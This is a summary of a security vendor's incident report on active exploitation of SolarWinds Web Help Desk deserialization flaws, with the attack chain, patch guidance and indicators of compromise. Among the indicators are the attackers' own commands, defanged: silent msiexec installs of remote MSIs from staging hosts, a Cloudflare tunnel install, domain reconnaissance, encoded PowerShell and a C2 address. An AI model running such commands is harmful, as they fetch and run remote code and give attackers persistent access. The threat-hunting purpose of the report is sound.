Active Exploitation of SolarWinds Web Help Desk (CVE-2025-26399)

What it is

Huntress incident report on active in-the-wild exploitation of SolarWinds Web Help Desk (WHD). Two deserialization RCE bugs are in play: CVE-2025-26399 (named in the title, corroborated by Microsoft and others) and CVE-2025-40551, which was added to CISA's Known Exploited Vulnerabilities catalog. Huntress observed exploitation across 3 customers; investigation began February 7, 2026 (SOC analyst Dipo Rodipe), aligning with Microsoft's February 6 advisory.

How it works

Untrusted deserialization grants arbitrary code execution. In the observed chain, the WHD service wrapper wrapper.exe spawned java.exe (Tomcat-based WHD app), which launched cmd.exe to silently install a remote MSI. The actor staged a Zoho ManageEngine RMM agent (process TOOLSIQ.EXE) configured for unattended access, then used it for hands-on-keyboard AD recon and to deploy Velociraptor as C2, followed by a Cloudflare tunnel for redundant access.

flowchart TD
  A[WHD deserialization RCE] --> B[wrapper.exe → java.exe → cmd.exe]
  B --> C[msiexec: Zoho RMM agent from Catbox]
  C --> D[AD recon: net group domain computers]
  C --> E[msiexec: Velociraptor from Supabase → C2]
  E --> F[encoded PowerShell]
  E --> G[msiexec: Cloudflared tunnel]

Preconditions / Affected

All SolarWinds WHD versions prior to 12.8.7 HF1. Check the installed version at:

C:\Program Files\WebHelpDesk\version.txt

What to do

Apply the SolarWinds update (12.8.7 HF1 or later) as soon as possible. Hunt for these observed IOCs / commands:

msiexec /q /i hxxps://files.catbox[.]moe/tmp9fc.msi
msiexec /q /i hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msi
msiexec /q /i hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.msi
Get-FileHash "C:\ProgramData\Microsoft\code.exe"
net group "domain computers" /do

Other indicators: Zoho Assist unattended access tied to esmahyft@proton[.]me; RMM process TOOLSIQ.EXE; Velociraptor v0.73.4 (outdated, has a privesc bug) pointing to server https://auth.qgtxtebl.workers[.]dev/; encoded PowerShell via powershell.exe -ExecutionPolicy Unrestricted -encodedCommand (base64 UTF-16LE); code.exe dropped to C:\ProgramData\Microsoft\.

Caveats

The Cloudflare Worker subdomain identifier qgtxtebl ties this account to prior intrusions involving ToolShell exploitation and Warlock ransomware — the same operator, per Huntress. Note the fetched text truncates mid-sentence ("System reconnaissance exfiltration to Elastic Clo…"), so later exfiltration details are not captured here.